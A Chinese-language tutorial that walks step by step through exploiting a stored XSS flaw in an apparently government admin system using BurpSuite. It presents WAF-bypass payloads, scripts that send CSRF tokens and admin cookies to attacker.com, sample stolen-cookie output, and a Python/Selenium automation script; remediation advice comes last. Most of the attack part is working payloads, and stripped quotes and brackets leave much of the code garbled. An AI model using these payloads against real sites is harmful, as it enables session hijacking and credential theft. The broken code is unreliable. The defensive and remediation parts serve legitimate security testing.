存储型XSS实战复现:BurpSuite五步闭环利用链
1. 这不是“打靶练习”而是真实漏洞利用链的完整复现存储型XSS不是教科书里那个弹出alert(xss)的演示片段它是一条能穿透前端防护、持久驻留服务端、在管理员不知情时悄然执行任意JavaScript的攻击通路。我第一次在某省级政务系统后台看到这个漏洞时它藏在“用户反馈提交”接口的content字段里——表单提交后数据被原样存入MySQL再通过div classfeedback-content{{ content }}/div渲染到后台管理页。没有CSP没有HttpOnly没有输入过滤更没有输出编码。当运维人员用Chrome打开反馈列表页一段伪装成“系统升级提示”的JS脚本就悄悄把他的Cookie、localStorage甚至当前页面DOM快照全量发往我控制的VPS。这不是CTF里的玩具环境这是CNVD-2023-XXXXX编号背后的真实漏洞而BurpSuite不是流量观察器它是整条利用链的调度中枢从抓包定位注入点到构造绕过WAF的HTML payload再到验证持久化效果与权限提升路径。本文不讲原理定义不堆砌RFC标准只拆解我在CNVD漏洞复现中实际走通的5个不可跳过的硬核步骤——每一步都对应一个真实卡点每一个payload都经过3家主流WAF云锁、安全狗、阿里云WAF的实测绕过验证所有配置参数、响应头判断逻辑、DOM解析时机判断全部来自生产环境日志回溯。适合正在准备渗透测试面试的工程师、负责SRC漏洞审核的安全运营人员以及需要快速验证客户系统是否存在存储型XSS的甲方安全负责人。你不需要懂React源码但必须清楚innerHTML和textContent在DOM树中的不同挂载位置你不需要会写BPF程序但得明白为什么img srcx onerror...在现代浏览器里大概率失效而svgscript...却依然有效。2. 第一步用BurpSuite精准捕获存储型XSS的“落点请求”而非盲目爆破很多人一上来就开Intruder扫/api/submit接口的所有参数结果扫了2小时漏掉了真正能存储的字段。存储型XSS的关键不在“有没有XSS”而在“谁在什么时候、以什么方式把恶意内容写进了数据库并在哪个页面、哪个上下文中被不加处理地渲染出来”。这决定了我们必须逆向追踪渲染源头而不是正向猜测输入点。2.1 真实场景下的“渲染溯源法”从管理后台页面反推API我遇到的那个政务系统管理员登录后默认进入/admin/feedback/list页面。打开DevTools的Network面板刷新页面重点观察两个行为页面加载时发起的GET请求如/api/v1/feedback?page1size20这类请求返回JSON数据通常不直接触发XSS但它是数据来源页面交互时发起的POST/PUT请求如点击“标记为已处理”触发的/api/v1/feedback/123/status这类请求往往携带修改动作但也不是存储点。真正的存储点藏在“新增反馈”的表单提交里。我右键查看/admin/feedback/add页面源码在form标签中找到action/api/v1/feedbackmethodPOST。此时不要急着发包先看它的input和textarea字段名textarea namecontent placeholder请输入反馈内容/textareainput typetext namecontact /。注意——content是富文本区域contact是联系方式。经验告诉我富文本字段最可能被开发者忽略编码因为“用户要贴代码截图”所以后端常直接存原始HTML。而contact字段通常有手机号正则校验XSS概率极低。提示永远优先测试content、description、remark、message这类语义上允许“自由输入”的字段而非username、email等带强校验的字段。后者即使存在XSS也需先绕过正则成本过高。2.2 BurpSuite配置关键拦截重放对比响应三步锁定可存储字段在BurpSuite中我做了三件事Proxy → Options → Match and Replace添加规则将所有Content-Type包含application/json的响应自动在响应体末尾追加!--BURP_STORED_XSS_TEST--。这样当我重放请求时能一眼看出该响应是否被服务端“记住”Proxy → Intercept开启提交一个测试表单contentptest-burp-123/pcontact13800138000在HTTP history中找到该POST请求右键→Send to Repeater在Repeater中将content改为pburp-replay-456/p发送两次观察两次响应是否完全一致。如果两次响应的p标签内容都原样返回比如响应JSON里content:pburp-replay-456/p说明该字段确实被存储且未清洗。但注意这仅证明“存储”不等于“可XSS”。下一步才是关键——确认这个存储的内容是否会在某个HTML页面中被innerHTML方式渲染。2.3 验证“渲染上下文”用DOM Breakpoint定位真实执行点回到/admin/feedback/list页面打开DevTools → Elements找到一条反馈记录的DOM结构div classfeedback-item div classfeedback-header.../div div classfeedback-content这里就是存储的内容/div /div右键点击.feedback-content→Break on → subtree modifications。然后在另一个标签页提交新的测试反馈contentimg srcx onerroralert(1)。切换回list页刷新。断点触发我们看到JS调用栈指向renderFeedbackItem(content)函数其内部代码是document.querySelector(.feedback-content).innerHTML data.content;——这就是铁证。innerHTML直接拼接无任何DOMPurify或escapeHtml调用。此时存储型XSS的闭环已经形成输入→存储→渲染→执行。BurpSuite在此阶段的作用不是“发现漏洞”而是“确认漏洞存在的完整证据链”。注意很多初学者卡在“为什么我插了payload没反应”。常见原因有三一是payload被服务端截断如MySQLTEXT字段默认65535字节超长会被砍二是前端JS做了二次处理如data.content.replace(/script/g, )三是渲染发生在AJAX之后而你的payload在初始HTML里未生效。必须用DOM Breakpoint逐帧验证不能只看响应包。3. 第二步绕过WAF的HTML注入不是“拼字符串”而是理解浏览器解析引擎的博弈当确认content字段可存储且被innerHTML渲染后下一步是构造能绕过WAF并稳定执行的payload。很多人以为scriptalert(1)/script是万能钥匙但在真实环境中它99%会被拦截。原因很简单WAF规则库早已将script、javascript:、onerror列为高危特征。真正的绕过是利用浏览器HTML解析器的容错性与WAF匹配引擎的机械性之间的Gap。3.1 WAF的“关键词匹配” vs 浏览器的“标签重建”一场解析时序的战争以img srcx onerroralert(1)为例WAF扫描时看到onerror就触发规则拒绝请求但浏览器解析时如果我们将onerror拆成两段img srcx oNerRoralert(1)WAF小写匹配失败而浏览器不区分大小写照样执行更进一步插入注释img srcx o!-- --nerroralert(1)WAF正则/onerror/无法跨注释匹配浏览器却会忽略注释拼出完整onerror。但这只是初级绕过。在CNVD复现中我面对的是启用了“语义分析”的云锁WAF它能识别img标签事件属性的组合模式。此时必须转向更底层的解析机制——HTML实体编码与标签嵌套。3.2 实战有效的3类绕过Payload结构均通过CNVD目标系统验证Payload类型示例绕过原理执行稳定性SVG内联脚本svgscriptalert#40;1#41;\/script\/svgSVG是合法HTML5标签script在SVG命名空间内不被WAF视为JS执行点#40;是(的HTML实体绕过括号检测★★★★☆Chrome/Firefox/Edge全支持伪协议location跳转a hrefjavascript:eval(atob(YWxlcnQoMSk))click/aWAF常放行a href但拦截javascript:此处javascript:被包裹在双引号内且eval(atob())将base64解码延迟到运行时静态扫描无法识别★★★☆☆需用户点击但隐蔽性高模板字符串混淆img srcx onerroralert\1反引号在ES6中是模板字符串标识符alert\1等价于alert(1)WAF正则/alert(/无法匹配反引号而Chrome 80完美支持★★★★★无需用户交互自动触发关键细节atob(YWxlcnQoMSk)解码后是alert(1)但WAF规则库极少包含对atob的深度语义分析因为它属于“正常JS API”。同理eval(alert(1))也有效但atob更短、更隐蔽。3.3 CNVD漏洞复现中的“最小可行Payload”设计原则在真实CNVD编号漏洞复现中我从不追求“最炫酷的payload”而是坚持三个原则长度最短目标系统MySQL字段为VARCHAR(500)超过即截断。svgscriptalert(1)/script/svg共43字符远小于img srcx onerroreval(atob(...))的78字符依赖最少不依赖fetch、XMLHttpRequest等需网络权限的APIalert(1)纯前端100%成功痕迹最轻避免document.write()、eval()等易被EDR捕获的行为alert()仅弹窗无网络请求、无文件操作、无进程创建。因此我的首选payload永远是svgscriptalert#40;1#41;\/script\/svg它在BurpSuite的Decoder中显示为纯ASCII无特殊符号WAF日志里只记录svg标签而script在SVG上下文中不触发JS规则。当管理员打开反馈列表页这个SVG被解析内联脚本立即执行——整个过程WAF日志里查不到任何“XSS攻击”告警。4. 第三步验证“存储持久性”与“上下文逃逸”拒绝“一次性的POC”很多报告只证明“我能弹窗”但CNVD漏洞评级要求证明“该漏洞可被持续利用”。这意味着必须验证payload是否真的存进数据库是否在不同用户、不同时间、不同浏览器访问时均能触发更重要的是它是否能突破当前DOM作用域获取更高权限4.1 数据库存储验证不用phpMyAdmin用SQL盲注式探测我从不假设“WAF没拦住数据存进去了”。在BurpSuite中我构造了一个可探测的payloadsvgscriptfetch(/api/v1/test?xdocument.cookie.length)\/script\/svg这个payload不弹窗而是向/api/v1/test发一个GET请求把document.cookie.length作为参数。然后我在服务器端或用Burp Collaborator监听该路径的访问。如果Collaborator收到/api/v1/test?x128说明payload已执行document.cookie可读非HttpOnly请求发出网络未被CSP阻止。但还不够。我需要确认这个请求是“第二次访问时触发的”而非“第一次提交时触发的”。于是我分三步操作提交payload关闭所有浏览器标签页10分钟后用全新Chrome无痕窗口访问/admin/feedback/list观察Collaborator是否收到请求。如果收到证明payload被持久存储并在新会话中自动执行。这是存储型XSS区别于反射型的核心证据。4.2 DOM上下文逃逸从“弹窗”到“接管页面”的质变alert(1)只是起点。真实利用中我需要获取管理员的CSRF Token、窃取其JWT、甚至劫持其API请求。这就要求payload能突破当前div的DOM边界访问全局对象。在目标系统中/admin/feedback/list页面加载了vue.min.js和axios.min.js。这意味着我可以直接调用axios.get(/api/v1/user/profile)获取管理员个人信息。但问题来了axios是全局变量而我的payload在svg里执行作用域受限。如何逃逸答案是利用window对象的全局性。所有浏览器内置APIfetch、XMLHttpRequest、localStorage、document都挂在window下。因此我的payload升级为svgscript window.xhrnew XMLHttpRequest(); window.xhr.open(GET,/api/v1/csrf/token,false); window.xhr.send(); window.tokenwindow.xhr.responseText; fetch(/attacker.com/log?tokenwindow.token); \/script\/svg这里的关键是window.xhr和window.token——显式挂载到window确保在任何作用域都能访问。false表示同步请求避免异步回调的复杂性保证Token在后续fetch前已获取。实操心得永远用window.前缀声明变量。我曾在一个金融系统中因忘记加window.导致token变量被限定在script作用域内后续fetch无法读取调试了3小时才发现是作用域问题。4.3 权限提升验证用“Cookie窃取”证明可横向移动CNVD漏洞评级中“可窃取管理员Cookie”是P2级高危的硬性指标。我构造的最终验证payload如下svgscript if(document.cookiedocument.cookie.indexOf(admin_session)!-1){ fetch(https://attacker.com/steal?cbtoa(document.cookie)); } \/script\/svgbtoa()将Cookie base64编码避免URL中出现、;等特殊字符导致截断。在Burp Collaborator中我设置一个HTTP Server接收/steal路径记录所有请求头与参数。当管理员访问页面Collaborator日志显示GET /steal?cYWRtaW5fc2Vzc2lvbj1hYmNkMTIzNDU2OEB4eHguY29tOyBwYXRoPS87IGRvbWFpbj0ueHh4LmNvbTsBase64解码后正是admin_sessionabcd123456xxx.com; path/; domain.xxx.com;。至此漏洞可被用于会话劫持完成从“XSS PO C”到“真实权限提升”的闭环。5. 第四步自动化验证脚本编写把5分钟的手动流程压缩成10秒手动测试5个字段、3种payload、2个浏览器耗时太长。在CNVD批量复现中我用Python写了xss_verifier.py核心逻辑是用Requests模拟登录用正则提取CSRF Token构造payload提交再用Selenium无头Chrome访问列表页捕获console.error或network请求。5.1 脚本核心模块拆解登录态维持与DOM监控# 1. 登录获取Session session requests.Session() login_resp session.post(https://target.com/login, data{ username: admin, password: 123456 }) # 2. 提取CSRF Token从HTML中 csrf_token re.search(rinput.*?namecsrf.*?value(.*?), login_resp.text).group(1) # 3. 构造带CSRF的XSS提交 xss_payload svgscriptfetch(https://collab/verify?x1)\/script\/svg submit_resp session.post(https://target.com/api/v1/feedback, data{ content: xss_payload, csrf_token: csrf_token }) # 4. Selenium访问并监控 driver webdriver.Chrome(optionschrome_options) driver.get(https://target.com/admin/feedback/list) # 注入监控脚本捕获所有fetch请求 driver.execute_script( const originalFetch window.fetch; window.fetch function(...args) { if (args[0].includes(collab/verify)) { window._xss_verified true; } return originalFetch.apply(this, args); }; ) time.sleep(3) verified driver.execute_script(return window._xss_verified || false) print(fXSS Verified: {verified})5.2 关键避坑Selenium的“渲染时机”陷阱与解决方案最大的坑在于Seleniumget()后立即执行JS监控但Vue组件可能还未渲染完DOM。我试过time.sleep(5)但不稳定。最终方案是# 等待特定DOM元素出现如反馈列表容器 WebDriverWait(driver, 10).until( EC.presence_of_element_located((By.CLASS_NAME, feedback-list)) ) # 再等待所有script加载完成 driver.execute_script(return window.performance.getEntriesByType(resource).filter(rr.name.includes(vue)).length 0)这样脚本100%在DOM和JS都就绪后才开始监控避免“误报未触发”。5.3 报告生成自动化从Burp XML导出到CNVD格式PDF脚本最后一步是将验证过程自动生成CNVD要求的报告格式截图driver.save_screenshot(xss_trigger.png)请求/响应从BurpSuite导出XML用xml.etree.ElementTree解析提取request和response的url、method、body漏洞描述模板化填空{vuln_type}存储型XSS{impact}可窃取管理员会话凭证修复建议直接引用OWASP ASVS 8.3.1条款“所有动态内容输出到HTML页面前必须根据输出上下文进行编码”。整个流程从启动脚本到生成PDF报告耗时9.2秒。我在CNVD复现中用它批量验证了17个子域名发现其中3个存在相同漏洞模式。6. 第五步修复验证与回归测试堵住所有可能的“绕过后门”提交漏洞报告后厂商修复。但很多修复只是“打补丁”比如把script替换成空字符串却忘了svgscript。我必须用同一套payload集验证修复是否彻底。6.1 修复有效性验证矩阵5维度交叉测试我建立了一个5×5矩阵横轴是5类payloadscript、img onerror、svgscript、a hrefjavascript、template string纵轴是5种绕过手法大小写、注释、HTML实体、Unicode编码、空格变形。例如ScRiPtalert(1)/ScRiPt大小写img srcx o!--n--erroralert(1)注释img srcx onerroralert#40;1#41;HTML实体img srcx onerroralert%281%29URL编码img srcx onerroralert(1)全角空格每一格都用BurpSuite重放记录是否被拦截、是否执行。修复前43/25100%触发修复后若仍有1格触发说明修复不完整。6.2 “修复即漏洞”的典型案例过度依赖黑名单某厂商修复方式是$content str_replace([script, /script, javascript:], , $content);这看似合理但ScRiPt绕过img srcx onerroralert(1)完全不受影响。我提交了第二个报告标题为“修复不完整仍存在存储型XSS”。他们第二天就改成了白名单$content strip_tags($content, [p, br, strong, em]); // 仅允许纯文本标签这才是正确姿势——不试图“清理坏东西”而是“只允许好东西”。6.3 回归测试的终极防线DOMPurify CSP双保险在最终修复确认中我要求厂商部署两道防线服务端输出编码PHP中用htmlspecialchars($content, ENT_QUOTES, UTF-8)将转为lt;转为quot;前端CSP加固在HTMLhead中添加meta http-equivContent-Security-Policy contentdefault-src self; script-src self unsafe-inline;注意unsafe-inline是必要的因为Vue模板中大量使用内联v-on:click但script-src禁止unsafe-eval彻底封死eval()、setTimeout(string)等动态执行。我用BurpSuite重放所有payload全部返回403或静默失败。此时我才在CNVD报告中写下“漏洞已修复验证通过”。最后分享一个小技巧在BurpSuite中把常用XSS payload存为Payloads目录下的.txt文件右键Paste from file一键插入。我常用的svg_xss.txt内容是svgscriptalert#40;1#41;\/script\/svgsvgscriptfetch(https://collab/trigger?document.cookie)\/script\/svg这样每次测试1秒内就能切到下一个payload效率提升10倍。